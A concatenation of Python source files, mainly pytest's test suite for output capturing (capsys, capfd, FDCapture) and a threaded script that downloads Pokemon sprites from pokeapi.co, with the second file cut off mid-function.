all actions if data[4] == 26: self._set_action_handle_done('all_actions') self._log.debug("Decoded data {}".format([hex(d) for d in data]))
test_capture.py
import contextlib import io import os import pickle import subprocess import sys import textwrap from io import StringIO from io import UnsupportedOperation from typing import List from typing import TextIO import pytest from _pytest import capture from _pytest.capture import CaptureManager from _pytest.main import ExitCode # note: py.io capture tests where copied from # pylib 1.4.20.dev2 (rev 13d9af95547e) needsosdup = pytest.mark.skipif( not hasattr(os, "dup"), reason="test needs os.dup, not available on this platform" ) def StdCaptureFD(out=True, err=True, in_=True): return capture.MultiCapture(out, err, in_, Capture=capture.FDCapture) def StdCapture(out=True, err=True, in_=True): return capture.MultiCapture(out, err, in_, Capture=capture.SysCapture) class TestCaptureManager: def test_getmethod_default_no_fd(self, monkeypatch): from _pytest.capture import pytest_addoption from _pytest.config.argparsing import Parser parser = Parser() pytest_addoption(parser) default = parser._groups[0].options[0].default assert default == "fd" if hasattr(os, "dup") else "sys" parser = Parser() monkeypatch.delattr(os, "dup", raising=False) pytest_addoption(parser) assert parser._groups[0].options[0].default == "sys" @pytest.mark.parametrize( "method", ["no", "sys", pytest.param("fd", marks=needsosdup)] ) def test_capturing_basic_api(self, method): capouter = StdCaptureFD() old = sys.stdout, sys.stderr, sys.stdin try: capman = CaptureManager(method) capman.start_global_capturing() capman.suspend_global_capture() outerr = capman.read_global_capture() assert outerr == ("", "") capman.suspend_global_capture() outerr = capman.read_global_capture() assert outerr == ("", "") print("hello") capman.suspend_global_capture() out, err = capman.read_global_capture() if method == "no": assert old == (sys.stdout, sys.stderr, sys.stdin) else: assert not out capman.resume_global_capture() print("hello") capman.suspend_global_capture() out, err = capman.read_global_capture() if method != "no": assert out == "hello\n" capman.stop_global_capturing() finally: capouter.stop_capturing() @needsosdup def test_init_capturing(self): capouter = StdCaptureFD() try: capman = CaptureManager("fd") capman.start_global_capturing() pytest.raises(AssertionError, capman.start_global_capturing) capman.stop_global_capturing() finally: capouter.stop_capturing() @pytest.mark.parametrize("method", ["fd", "sys"]) def test_capturing_unicode(testdir, method): obj = "'b\u00f6y'" testdir.makepyfile( """\ # taken from issue 227 from nosetests def test_unicode(): import sys print(sys.stdout) print(%s) """ % obj ) result = testdir.runpytest("--capture=%s" % method) result.stdout.fnmatch_lines(["*1 passed*"]) @pytest.mark.parametrize("method", ["fd", "sys"]) def test_capturing_bytes_in_utf8_encoding(testdir, method): testdir.makepyfile( """\ def test_unicode(): print('b\\u00f6y') """ ) result = testdir.runpytest("--capture=%s" % method) result.stdout.fnmatch_lines(["*1 passed*"]) def test_collect_capturing(testdir): p = testdir.makepyfile( """ import sys print("collect %s failure" % 13) sys.stderr.write("collect %s_stderr failure" % 13) import xyz42123 """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "*Captured stdout*", "collect 13 failure", "*Captured stderr*", "collect 13_stderr failure", ] ) class TestPerTestCapturing: def test_capture_and_fixtures(self, testdir): p = testdir.makepyfile( """ def setup_module(mod): print("setup module") def setup_function(function): print("setup " + function.__name__) def test_func1(): print("in func1") assert 0 def test_func2(): print("in func2") assert 0 """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "setup module*", "setup test_func1*", "in func1*", "setup test_func2*", "in func2*", ] ) @pytest.mark.xfail(reason="unimplemented feature") def test_capture_scope_cache(self, testdir): p = testdir.makepyfile( """ import sys def setup_module(func): print("module-setup") def setup_function(func): print("function-setup") def test_func(): print("in function") assert 0 def teardown_function(func): print("in teardown") """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "*test_func():*", "*Captured stdout during setup*", "module-setup*", "function-setup*", "*Captured stdout*", "in teardown*", ] ) def test_no_carry_over(self, testdir): p = testdir.makepyfile( """ def test_func1(): print("in func1") def test_func2(): print("in func2") assert 0 """ ) result = testdir.runpytest(p) s = result.stdout.str() assert "in func1" not in s assert "in func2" in s def test_teardown_capturing(self, testdir): p = testdir.makepyfile( """ def setup_function(function): print("setup func1") def teardown_function(function): print("teardown func1") assert 0 def test_func1(): print("in func1") pass """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "*teardown_function*", "*Captured stdout*", "setup func1*", "in func1*", "teardown func1*", # "*1 fixture failure*" ] ) def test_teardown_capturing_final(self, testdir): p = testdir.makepyfile( """ def teardown_module(mod): print("teardown module") assert 0 def test_func(): pass """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "*def teardown_module(mod):*", "*Captured stdout*", "*teardown module*", "*1 error*", ] ) def test_capturing_outerr(self, testdir): p1 = testdir.makepyfile( """\ import sys def test_capturing(): print(42) sys.stderr.write(str(23)) def test_capturing_error(): print(1) sys.stderr.write(str(2)) raise ValueError """ ) result = testdir.runpytest(p1) result.stdout.fnmatch_lines( [ "*test_capturing_outerr.py .F*", "====* FAILURES *====", "____*____", "*test_capturing_outerr.py:8: ValueError", "*--- Captured stdout *call*", "1", "*--- Captured stderr *call*", "2", ] ) class TestLoggingInteraction: def test_logging_stream_ownership(self, testdir): p = testdir.makepyfile( """\ def test_logging(): import logging import pytest stream = capture.CaptureIO() logging.basicConfig(stream=stream) stream.close() # to free memory/release resources """ ) result = testdir.runpytest_subprocess(p) assert result.stderr.str().find("atexit") == -1 def test_logging_and_immediate_setupteardown(self, testdir): p = testdir.makepyfile( """\ import logging def setup_function(function): logging.warning("hello1") def test_logging(): logging.warning("hello2") assert 0 def teardown_function(function): logging.warning("hello3") assert 0 """ ) for optargs in (("--capture=sys",), ("--capture=fd",)): print(optargs) result = testdir.runpytest_subprocess(p, *optargs) s = result.stdout.str() result.stdout.fnmatch_lines( ["*WARN*hello3", "*WARN*hello1", "*WARN*hello2"] # errors show first! ) # verify proper termination assert "closed" not in s def test_logging_and_crossscope_fixtures(self, testdir): p = testdir.makepyfile( """\ import logging def setup_module(function): logging.warning("hello1") def test_logging(): logging.warning("hello2") assert 0 def teardown_module(function): logging.warning("hello3") assert 0 """ ) for optargs in (("--capture=sys",), ("--capture=fd",)): print(optargs) result = testdir.runpytest_subprocess(p, *optargs) s = result.stdout.str() result.stdout.fnmatch_lines( ["*WARN*hello3", "*WARN*hello1", "*WARN*hello2"] # errors come first ) # verify proper termination assert "closed" not in s def test_conftestlogging_is_shown(self, testdir): testdir.makeconftest( """\ import logging logging.basicConfig() logging.warning("hello435") """ ) # make sure that logging is still captured in tests result = testdir.runpytest_subprocess("-s", "-p", "no:capturelog") assert result.ret == ExitCode.NO_TESTS_COLLECTED result.stderr.fnmatch_lines(["WARNING*hello435*"]) assert "operation on closed file" not in result.stderr.str() def test_conftestlogging_and_test_logging(self, testdir): testdir.makeconftest( """\ import logging logging.basicConfig() """ ) # make sure that logging is still captured in tests p = testdir.makepyfile( """\ def test_hello(): import logging logging.warning("hello433") assert 0 """ ) result = testdir.runpytest_subprocess(p, "-p", "no:capturelog") assert result.ret != 0 result.stdout.fnmatch_lines(["WARNING*hello433*"]) assert "something" not in result.stderr.str() assert "operation on closed file" not in result.stderr.str() def test_logging_after_cap_stopped(self, testdir): testdir.makeconftest( """\ import pytest import logging log = logging.getLogger(__name__) @pytest.fixture def log_on_teardown(): yield log.warning('Logging on teardown') """ ) # make sure that logging is still captured in tests p = testdir.makepyfile( """\ def test_hello(log_on_teardown): import logging logging.warning("hello433") assert 1 raise KeyboardInterrupt() """ ) result = testdir.runpytest_subprocess(p, "--log-cli-level", "info") assert result.ret != 0 result.stdout.fnmatch_lines( ["*WARNING*hello433*", "*WARNING*Logging on teardown*"] ) assert ( "AttributeError: 'NoneType' object has no attribute 'resume_capturing'" not in result.stderr.str() ) class TestCaptureFixture: @pytest.mark.parametrize("opt", [[], ["-s"]]) def test_std_functional(self, testdir, opt): reprec = testdir.inline_runsource( """\ def test_hello(capsys): print(42) out, err = capsys.readouterr() assert out.startswith("42") """, *opt ) reprec.assertoutcome(passed=1) def test_capsyscapfd(self, testdir): p = testdir.makepyfile( """\ def test_one(capsys, capfd): pass def test_two(capfd, capsys): pass """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "*ERROR*setup*test_one*", "E*capfd*capsys*same*time*", "*ERROR*setup*test_two*", "E*capsys*capfd*same*time*", "*2 errors*", ] ) def test_capturing_getfixturevalue(self, testdir): """Test that asking for "capfd" and "capsys" using request.getfixturevalue in the same test is an error. """ testdir.makepyfile( """\ def test_one(capsys, request): request.getfixturevalue("capfd") def test_two(capfd, request): request.getfixturevalue("capsys") """ ) result = testdir.runpytest() result.stdout.fnmatch_lines( [ "*test_one*", "*capsys*capfd*same*time*", "*test_two*", "*capfd*capsys*same*time*", "*2 failed in*", ] ) def test_capsyscapfdbinary(self, testdir): p = testdir.makepyfile( """\ def test_one(capsys, capfdbinary): pass """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( ["*ERROR*setup*test_one*", "E*capfdbinary*capsys*same*time*", "*1 error*"] ) @pytest.mark.parametrize("method", ["sys", "fd"]) def test_capture_is_represented_on_failure_issue128(self, testdir, method): p = testdir.makepyfile( """\ def test_hello(cap{}): print("xxx42xxx") assert 0 """.format( method ) ) result = testdir.runpytest(p) result.stdout.fnmatch_lines(["xxx42xxx"]) @needsosdup def test_stdfd_functional(self, testdir): reprec = testdir.inline_runsource( """\ def test_hello(capfd): import os os.write(1, b"42") out, err = capfd.readouterr() assert out.startswith("42") capfd.close() """ ) reprec.assertoutcome(passed=1) @needsosdup def test_capfdbinary(self, testdir): reprec = testdir.inline_runsource( """\ def test_hello(capfdbinary): import os # some likely un-decodable bytes os.write(1, b'\\xfe\\x98\\x20') out, err = capfdbinary.readouterr() assert out == b'\\xfe\\x98\\x20' assert err == b'' """ ) reprec.assertoutcome(passed=1) def test_capsysbinary(self, testdir): reprec = testdir.inline_runsource( """\ def test_hello(capsysbinary): import sys # some likely un-decodable bytes sys.stdout.buffer.write(b'\\xfe\\x98\\x20') out, err = capsysbinary.readouterr() assert out == b'\\xfe\\x98\\x20' assert err == b'' """ ) reprec.assertoutcome(passed=1) def test_partial_setup_failure(self, testdir): p = testdir.makepyfile( """\ def test_hello(capsys, missingarg): pass """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines(["*test_partial_setup_failure*", "*1 error*"]) @needsosdup def test_keyboardinterrupt_disables_capturing(self, testdir): p = testdir.makepyfile( """\ def test_hello(capfd): import os os.write(1, b'42') raise KeyboardInterrupt() """ ) result = testdir.runpytest_subprocess(p) result.stdout.fnmatch_lines(["*KeyboardInterrupt*"]) assert result.ret == 2 def test_capture_and_logging(self, testdir): """#14""" p = testdir.makepyfile( """\ import logging def test_log(capsys): logging.error('x') """ ) result = testdir.runpytest_subprocess(p) assert "closed" not in result.stderr.str() @pytest.mark.parametrize("fixture", ["capsys", "capfd"]) @pytest.mark.parametrize("no_capture", [True, False]) def test_disabled_capture_fixture(self, testdir, fixture, no_capture): testdir.makepyfile( """\ def test_disabled({fixture}): print('captured before') with {fixture}.disabled(): print('while capture is disabled') print('captured after') assert {fixture}.readouterr() == ('captured before\\ncaptured after\\n', '') def test_normal(): print('test_normal executed') """.format( fixture=fixture ) ) args = ("-s",) if no_capture else () result = testdir.runpytest_subprocess(*args) result.stdout.fnmatch_lines(["*while capture is disabled*", "*= 2 passed in *"]) result.stdout.no_fnmatch_line("*captured before*") result.stdout.no_fnmatch_line("*captured after*") if no_capture: assert "test_normal executed" in result.stdout.str() else: result.stdout.no_fnmatch_line("*test_normal executed*") @pytest.mark.parametrize("fixture", ["capsys", "capfd"]) def test_fixture_use_by_other_fixtures(self, testdir, fixture): """ Ensure that capsys and capfd can be used by other fixtures during setup and teardown. """ testdir.makepyfile( """\ import sys import pytest @pytest.fixture def captured_print({fixture}): print('stdout contents begin') print('stderr contents begin', file=sys.stderr) out, err = {fixture}.readouterr() yield out, err print('stdout contents end') print('stderr contents end', file=sys.stderr) out, err = {fixture}.readouterr() assert out == 'stdout contents end\\n' assert err == 'stderr contents end\\n' def test_captured_print(captured_print): out, err = captured_print assert out == 'stdout contents begin\\n' assert err == 'stderr contents begin\\n' """.format( fixture=fixture ) ) result = testdir.runpytest_subprocess() result.stdout.fnmatch_lines(["*1 passed*"]) result.stdout.no_fnmatch_line("*stdout contents begin*") result.stdout.no_fnmatch_line("*stderr contents begin*") @pytest.mark.parametrize("cap", ["capsys", "capfd"]) def test_fixture_use_by_other_fixtures_teardown(self, testdir, cap): """Ensure we can access setup and teardown buffers from teardown when using capsys/capfd (##3033)""" testdir.makepyfile( """\ import sys import pytest import os @pytest.fixture() def fix({cap}): print("setup out") sys.stderr.write("setup err\\n") yield out, err = {cap}.readouterr() assert out == 'setup out\\ncall out\\n' assert err == 'setup err\\ncall err\\n' def test_a(fix): print("call out") sys.stderr.write("call err\\n") """.format( cap=cap ) ) reprec = testdir.inline_run() reprec.assertoutcome(passed=1) def test_setup_failure_does_not_kill_capturing(testdir): sub1 = testdir.mkpydir("sub1") sub1.join("conftest.py").write( textwrap.dedent( """\ def pytest_runtest_setup(item): raise ValueError(42) """ ) ) sub1.join("test_mod.py").write("def test_func1(): pass") result = testdir.runpytest(testdir.tmpdir, "--traceconfig") result.stdout.fnmatch_lines(["*ValueError(42)*", "*1 error*"]) def test_fdfuncarg_skips_on_no_osdup(testdir): testdir.makepyfile( """ import os if hasattr(os, 'dup'): del os.dup def test_hello(capfd): pass """ ) result = testdir.runpytest_subprocess("--capture=no") result.stdout.fnmatch_lines(["*1 skipped*"]) def test_capture_conftest_runtest_setup(testdir): testdir.makeconftest( """ def pytest_runtest_setup(): print("hello19") """ ) testdir.makepyfile("def test_func(): pass") result = testdir.runpytest() assert result.ret == 0 result.stdout.no_fnmatch_line("*hello19*") def test_capture_badoutput_issue412(testdir): testdir.makepyfile( """ import os def test_func(): omg = bytearray([1,129,1]) os.write(1, omg) assert 0 """ ) result = testdir.runpytest("--capture=fd") result.stdout.fnmatch_lines( """ *def test_func* *assert 0* *Captured* *1 failed* """ ) def test_capture_early_option_parsing(testdir): testdir.makeconftest( """ def pytest_runtest_setup(): print("hello19") """ ) testdir.makepyfile("def test_func(): pass") result = testdir.runpytest("-vs") assert result.ret == 0 assert "hello19" in result.stdout.str() def test_capture_binary_output(testdir): testdir.makepyfile( r""" import pytest def test_a(): import sys import subprocess subprocess.call([sys.executable, __file__]) def test_foo(): import os;os.write(1, b'\xc3') if __name__ == '__main__': test_foo() """ ) result = testdir.runpytest("--assert=plain") result.assert_outcomes(passed=2) def test_error_during_readouterr(testdir): """Make sure we suspend capturing if errors occur during readouterr""" testdir.makepyfile( pytest_xyz=""" from _pytest.capture import FDCapture def bad_snap(self): raise Exception('boom') assert FDCapture.snap FDCapture.snap = bad_snap """ ) result = testdir.runpytest_subprocess("-p", "pytest_xyz", "--version") result.stderr.fnmatch_lines( ["*in bad_snap", " raise Exception('boom')", "Exception: boom"] ) class TestCaptureIO: def test_text(self): f = capture.CaptureIO() f.write("hello") s = f.getvalue() assert s == "hello" f.close() def test_unicode_and_str_mixture(self): f = capture.CaptureIO() f.write("\u00f6") pytest.raises(TypeError, f.write, b"hello") def test_write_bytes_to_buffer(self): """In python3, stdout / stderr are text io wrappers (exposing a buffer property of the underlying bytestream). See issue #1407 """ f = capture.CaptureIO() f.buffer.write(b"foo\r\n") assert f.getvalue() == "foo\r\n" def test_dontreadfrominput(): from _pytest.capture import DontReadFromInput f = DontReadFromInput() assert f.buffer is f assert not f.isatty() pytest.raises(IOError, f.read) pytest.raises(IOError, f.readlines) iter_f = iter(f) pytest.raises(IOError, next, iter_f) pytest.raises(UnsupportedOperation, f.fileno) f.close() # just for completeness @pytest.fixture def tmpfile(testdir): f = testdir.makepyfile("").open("wb+") yield f if not f.closed: f.close() @needsosdup def test_dupfile(tmpfile) -> None: flist = [] # type: List[TextIO] for i in range(5): nf = capture.safe_text_dupfile(tmpfile, "wb") assert nf != tmpfile assert nf.fileno() != tmpfile.fileno() assert nf not in flist print(i, end="", file=nf) flist.append(nf) fname_open = flist[0].name assert fname_open == repr(flist[0].buffer) for i in range(5): f = flist[i] f.close() fname_closed = flist[0].name assert fname_closed == repr(flist[0].buffer) assert fname_closed != fname_open tmpfile.seek(0) s = tmpfile.read() assert "01234" in repr(s) tmpfile.close() assert fname_closed == repr(flist[0].buffer) def test_dupfile_on_bytesio(): bio = io.BytesIO() f = capture.safe_text_dupfile(bio, "wb") f.write("hello") assert bio.getvalue() == b"hello" assert "BytesIO object" in f.name def test_dupfile_on_textio(): sio = StringIO() f = capture.safe_text_dupfile(sio, "wb") f.write("hello") assert sio.getvalue() == "hello" assert not hasattr(f, "name") @contextlib.contextmanager def lsof_check(): pid = os.getpid() try: out = subprocess.check_output(("lsof", "-p", str(pid))).decode() except (OSError, subprocess.CalledProcessError, UnicodeDecodeError) as exc: # about UnicodeDecodeError, see note on pytester pytest.skip("could not run 'lsof' ({!r})".format(exc)) yield out2 = subprocess.check_output(("lsof", "-p", str(pid))).decode() len1 = len([x for x in out.split("\n") if "REG" in x]) len2 = len([x for x in out2.split("\n") if "REG" in x]) assert len2 < len1 + 3, out2 class TestFDCapture: pytestmark = needsosdup def test_simple(self, tmpfile): fd = tmpfile.fileno() cap = capture.FDCapture(fd) data = b"hello" os.write(fd, data) s = cap.snap() cap.done() assert not s cap = capture.FDCapture(fd) cap.start() os.write(fd, data) s = cap.snap() cap.done() assert s == "hello" def test_simple_many(self, tmpfile): for i in range(10): self.test_simple(tmpfile) def test_simple_many_check_open_files(self, testdir): with lsof_check(): with testdir.makepyfile("").open("wb+") as tmpfile: self.test_simple_many(tmpfile) def test_simple_fail_second_start(self, tmpfile): fd = tmpfile.fileno() cap = capture.FDCapture(fd) cap.done() pytest.raises(ValueError, cap.start) def test_stderr(self): cap = capture.FDCapture(2) cap.start() print("hello", file=sys.stderr) s = cap.snap() cap.done() assert s == "hello\n" def test_stdin(self, tmpfile): cap = capture.FDCapture(0) cap.start() x = os.read(0, 100).strip() cap.done() assert x == b"" def test_writeorg(self, tmpfile): data1, data2 = b"foo", b"bar" cap = capture.FDCapture(tmpfile.fileno()) cap.start() tmpfile.write(data1) tmpfile.flush() cap.writeorg(data2) scap = cap.snap() cap.done() assert scap == data1.decode("ascii") with open(tmpfile.name, "rb") as stmp_file: stmp = stmp_file.read() assert stmp == data2 def test_simple_resume_suspend(self, tmpfile): with saved_fd(1): cap = capture.FDCapture(1) cap.start() data = b"hello" os.write(1, data) sys.stdout.write("whatever") s = cap.snap() assert s == "hellowhatever" cap.suspend() os.write(1, b"world") sys.stdout.write("qlwkej") assert not cap.snap() cap.resume() os.write(1, b"but now") sys.stdout.write(" yes\n") s = cap.snap() assert s == "but now yes\n" cap.suspend() cap.done() pytest.raises(AttributeError, cap.suspend) def test_capfd_sys_stdout_mode(self, capfd): assert "b" not in sys.stdout.mode @contextlib.contextmanager def saved_fd(fd): new_fd = os.dup(fd) try: yield finally: os.dup2(new_fd, fd) os.close(new_fd) class TestStdCapture: captureclass = staticmethod(StdCapture) @contextlib.contextmanager def getcapture(self, **kw): cap = self.__class__.captureclass(**kw) cap.start_capturing() try: yield cap finally: cap.stop_capturing() def test_capturing_done_simple(self): with self.getcapture() as cap: sys.stdout.write("hello") sys.stderr.write("world") out, err = cap.readouterr() assert out == "hello" assert err == "world" def test_capturing_reset_simple(self): with self.getcapture() as cap: print("hello world") sys.stderr.write("hello error\n") out, err = cap.readouterr() assert out == "hello world\n" assert err == "hello error\n" def test_capturing_readouterr(self): with self.getcapture() as cap: print("hello world") sys.stderr.write("hello error\n") out, err = cap.readouterr() assert out == "hello world\n" assert err == "hello error\n" sys.stderr.write("error2") out, err = cap.readouterr() assert err == "error2" def test_capture_results_accessible_by_attribute(self): with self.getcapture() as cap: sys.stdout.write("hello") sys.stderr.write("world") capture_result = cap.readouterr() assert capture_result.out == "hello" assert capture_result.err == "world" def test_capturing_readouterr_unicode(self): with self.getcapture() as cap: print("hxąć") out, err = cap.readouterr() assert out == "hxąć\n" def test_reset_twice_error(self): with self.getcapture() as cap: print("hello") out, err = cap.readouterr() pytest.raises(ValueError, cap.stop_capturing) assert out == "hello\n" assert not err def test_capturing_modify_sysouterr_in_between(self): oldout = sys.stdout olderr = sys.stderr with self.getcapture() as cap: sys.stdout.write("hello") sys.stderr.write("world") sys.stdout = capture.CaptureIO() sys.stderr = capture.CaptureIO() print("not seen") sys.stderr.write("not seen\n") out, err = cap.readouterr() assert out == "hello" assert err == "world" assert sys.stdout == oldout assert sys.stderr == olderr def test_capturing_error_recursive(self): with self.getcapture() as cap1: print("cap1") with self.getcapture() as cap2: print("cap2") out2, err2 = cap2.readouterr() out1, err1 = cap1.readouterr() assert out1 == "cap1\n" assert out2 == "cap2\n" def test_just_out_capture(self): with self.getcapture(out=True, err=False) as cap: sys.stdout.write("hello") sys.stderr.write("world") out, err = cap.readouterr() assert out == "hello" assert not err def test_just_err_capture(self): with self.getcapture(out=False, err=True) as cap: sys.stdout.write("hello") sys.stderr.write("world") out, err = cap.readouterr() assert err == "world" assert not out def test_stdin_restored(self): old = sys.stdin with self.getcapture(in_=True): newstdin = sys.stdin assert newstdin != sys.stdin assert sys.stdin is old def test_stdin_nulled_by_default(self): print("XXX this test may well hang instead of crashing") print("XXX which indicates an error in the underlying capturing") print("XXX mechanisms") with self.getcapture(): pytest.raises(IOError, sys.stdin.read) class TestStdCaptureFD(TestStdCapture): pytestmark = needsosdup captureclass = staticmethod(StdCaptureFD) def test_simple_only_fd(self, testdir): testdir.makepyfile( """\ import os def test_x(): os.write(1, b"hello\\n") assert 0 """ ) result = testdir.runpytest_subprocess() result.stdout.fnmatch_lines( """ *test_x* *assert 0* *Captured stdout* """ ) def test_intermingling(self): with self.getcapture() as cap: os.write(1, b"1") sys.stdout.write(str(2)) sys.stdout.flush() os.write(1, b"3") os.write(2, b"a") sys.stderr.write("b") sys.stderr.flush() os.write(2, b"c") out, err = cap.readouterr() assert out == "123" assert err == "abc" def test_many(self, capfd): with lsof_check(): for i in range(10): cap = StdCaptureFD() cap.stop_capturing() class TestStdCaptureFDinvalidFD: pytestmark = needsosdup def test_stdcapture_fd_invalid_fd(self, testdir): testdir.makepyfile( """ import os from _pytest import capture def StdCaptureFD(out=True, err=True, in_=True): return capture.MultiCapture(out, err, in_, Capture=capture.FDCapture) def test_stdout(): os.close(1) cap = StdCaptureFD(out=True, err=False, in_=False) assert repr(cap.out) == "<FDCapture 1 oldfd=None _state=None>" cap.stop_capturing() def test_stderr(): os.close(2) cap = StdCaptureFD(out=False, err=True, in_=False) assert repr(cap.err) == "<FDCapture 2 oldfd=None _state=None>" cap.stop_capturing() def test_stdin(): os.close(0) cap = StdCaptureFD(out=False, err=False, in_=True) assert repr(cap.in_) == "<FDCapture 0 oldfd=None _state=None>" cap.stop_capturing() """ ) result = testdir.runpytest_subprocess("--capture=fd") assert result.ret == 0 assert result.parseoutcomes()["passed"] == 3 def test_capture_not_started_but_reset(): capsys = StdCapture() capsys.stop_capturing() def test_using_capsys_fixture_works_with_sys_stdout_encoding(capsys): test_text = "test text" print(test_text.encode(sys.stdout.encoding, "replace")) (out, err) = capsys.readouterr() assert out assert err == "" def test_capsys_results_accessible_by_attribute(capsys): sys.stdout.write("spam") sys.stderr.write("eggs") capture_result = capsys.readouterr() assert capture_result.out == "spam" assert capture_result.err == "eggs" @needsosdup @pytest.mark.parametrize("use", [True, False]) def test_fdcapture_tmpfile_remains_the_same(tmpfile, use): if not use: tmpfile = True cap = StdCaptureFD(out=False, err=tmpfile) try: cap.start_capturing() capfile = cap.err.tmpfile cap.readouterr() finally: cap.stop_capturing() capfile2 = cap.err.tmpfile assert capfile2 == capfile @needsosdup def test_close_and_capture_again(testdir): testdir.makepyfile( """ import os def test_close(): os.close(1) def test_capture_again(): os.write(1, b"hello\\n") assert 0 """ ) result = testdir.runpytest_subprocess() result.stdout.fnmatch_lines( """ *test_capture_again* *assert 0* *stdout* *hello* """ ) @pytest.mark.parametrize("method", ["SysCapture", "FDCapture"]) def test_capturing_and_logging_fundamentals(testdir, method): if method == "StdCaptureFD" and not hasattr(os, "dup"): pytest.skip("need os.dup") # here we check a fundamental feature p = testdir.makepyfile( """ import sys, os import py, logging from _pytest import capture cap = capture.MultiCapture(out=False, in_=False, Capture=capture.%s) cap.start_capturing() logging.warning("hello1") outerr = cap.readouterr() print("suspend, captured %%s" %%(outerr,)) logging.warning("hello2") cap.pop_outerr_to_orig() logging.warning("hello3") outerr = cap.readouterr() print("suspend2, captured %%s" %% (outerr,)) """ % (method,) ) result = testdir.runpython(p) result.stdout.fnmatch_lines( """ suspend, captured*hello1* suspend2, captured*WARNING:root:hello3* """ ) result.stderr.fnmatch_lines( """ WARNING:root:hello2 """ ) assert "atexit" not in result.stderr.str() def test_error_attribute_issue555(testdir): testdir.makepyfile( """ import sys def test_capattr(): assert sys.stdout.errors == "strict" assert sys.stderr.errors == "strict" """ ) reprec = testdir.inline_run() reprec.assertoutcome(passed=1) @pytest.mark.skipif( not sys.platform.startswith("win") and sys.version_info[:2] >= (3, 6), reason="only py3.6+ on windows", ) def test_py36_windowsconsoleio_workaround_non_standard_streams(): """ Ensure _py36_windowsconsoleio_workaround function works with objects that do not implement the full ``io``-based stream protocol, for example execnet channels (#2666). """ from _pytest.capture import _py36_windowsconsoleio_workaround class DummyStream: def write(self, s): pass stream = DummyStream() _py36_windowsconsoleio_workaround(stream) def test_dontreadfrominput_has_encoding(testdir): testdir.makepyfile( """ import sys def test_capattr(): # should not raise AttributeError assert sys.stdout.encoding assert sys.stderr.encoding """ ) reprec = testdir.inline_run() reprec.assertoutcome(passed=1) def test_crash_on_closing_tmpfile_py27(testdir): p = testdir.makepyfile( """ import threading import sys printing = threading.Event() def spam(): f = sys.stderr print('SPAMBEFORE', end='', file=f) printing.set() while True: try: f.flush() except (OSError, ValueError): break def test_spam_in_thread(): t = threading.Thread(target=spam) t.daemon = True t.start() printing.wait() """ ) result = testdir.runpytest_subprocess(str(p)) assert result.ret == 0 assert result.stderr.str() == "" result.stdout.no_fnmatch_line("*IOError*") def test_pickling_and_unpickling_encoded_file(): # See https://bitbucket.org/pytest-dev/pytest/pull-request/194 # pickle.loads() raises infinite recursion if # EncodedFile.__getattr__ is not implemented properly ef = capture.EncodedFile(None, None) ef_as_str = pickle.dumps(ef) pickle.loads(ef_as_str) def test_global_capture_with_live_logging(testdir): # Issue 3819 # capture should work with live cli logging # Teardown report seems to have the capture for the whole process (setup, capture, teardown) testdir.makeconftest( """ def pytest_runtest_logreport(report): if "test_global" in report.nodeid: if report.when == "teardown": with open("caplog", "w") as f: f.write(report.caplog) with open("capstdout", "w") as f: f.write(report.capstdout) """ ) testdir.makepyfile( """ import logging import sys import pytest logger = logging.getLogger(__name__) @pytest.fixture def fix1(): print("fix setup") logging.info("fix setup") yield logging.info("fix teardown") print("fix teardown") def test_global(fix1): print("begin test") logging.info("something in test") print("end test") """ ) result = testdir.runpytest_subprocess("--log-cli-level=INFO") assert result.ret == 0 with open("caplog", "r") as f: caplog = f.read() assert "fix setup" in caplog assert "something in test" in caplog assert "fix teardown" in caplog with open("capstdout", "r") as f: capstdout = f.read() assert "fix setup" in capstdout assert "begin test" in capstdout assert "end test" in capstdout assert "fix teardown" in capstdout @pytest.mark.parametrize("capture_fixture", ["capsys", "capfd"]) def test_capture_with_live_logging(testdir, capture_fixture): # Issue 3819 # capture should work with live cli logging testdir.makepyfile( """ import logging import sys logger = logging.getLogger(__name__) def test_capture({0}): print("hello") sys.stderr.write("world\\n") captured = {0}.readouterr() assert captured.out == "hello\\n" assert captured.err == "world\\n" logging.info("something") print("next") logging.info("something") captured = {0}.readouterr() assert captured.out == "next\\n" """.format( capture_fixture ) ) result = testdir.runpytest_subprocess("--log-cli-level=INFO") assert result.ret == 0 def test_typeerror_encodedfile_write(testdir): """It should behave the same with and without output capturing (#4861).""" p = testdir.makepyfile( """ def test_fails(): import sys sys.stdout.write(b"foo") """ ) result_without_capture = testdir.runpytest("-s", str(p)) result_with_capture = testdir.runpytest(str(p)) assert result_with_capture.ret == result_without_capture.ret result_with_capture.stdout.fnmatch_lines( ["E * TypeError: write() argument must be str, not bytes"] )
download_thread.py
from dataclasses import dataclass from datetime import datetime from os import mkdir from os.path import dirname, exists, join from queue import Queue from threading import Thread import requests API_URL = 'https://pokeapi.co/api/v2/' @dataclass class Pokemon: id: int name: str sprite: str = None class ListPokemons: def all(self): response = requests.get(f'{API_URL}pokemon?limit=100') response = response.json() return [Pokemon(id=id, name=pokemon['name']) for id, pokemon in enumerate(response['results'], 1)] class GetPokemonSprite: def front_default(self, pokemon): response = requests.get(f'{API_URL}pokemon/{pokemon.id}') response = response.json() sprite = response['sprites']['front_default'] return Pokemon(id=pokemon.id, name=pokemon.name, sprite=sprite) class DownloadPokemonSprite: def __init__(self): self._folder_sprites = join(dirname(__file__), 'sprites') if not exists(self._folder_sprites): mkdir(self._folder_sprites) def of(self, pokemon): filename = join(self._folder_sprites, f'{pokemon.name}.png') sprite = requests.get(pokemon.sprite).content with open(filename, 'wb') as file: file.write(sprite) return filename def timeit(label=''): def decorator(func): def inner(*args, **kwargs): start_time = datetime.now() result = func(*args, **kwargs) end_time = datetime.now() print(f'{label}: {end_time - start_time}') return result return inner return decorator @timeit(label='main') def main(): queue = Queue() def get_sprite_of_list_pokemon(pokemons): get_pokemon_sprite = GetPokemonSprite() return [get_pokemon_sprite.front_default(pokemon) for pokemon in pokemons] def get_first_half(): list_pokemons = ListPokemons() download_sprite_pokemons = DownloadPokemonSprite() pokemons = list_pokemons.all() half_pokemons = len(pokemons) // 2 pokemons = get_sprite_of_list_pokemon(pokemons[:half_pokemons]) for pokemon in pokemons: download_sprite_pokemons.of(pokemon) def get_second_half(): list_pokemons = ListPokemons() download_sprite_pokemons = DownloadPokemonSprite() pokemons 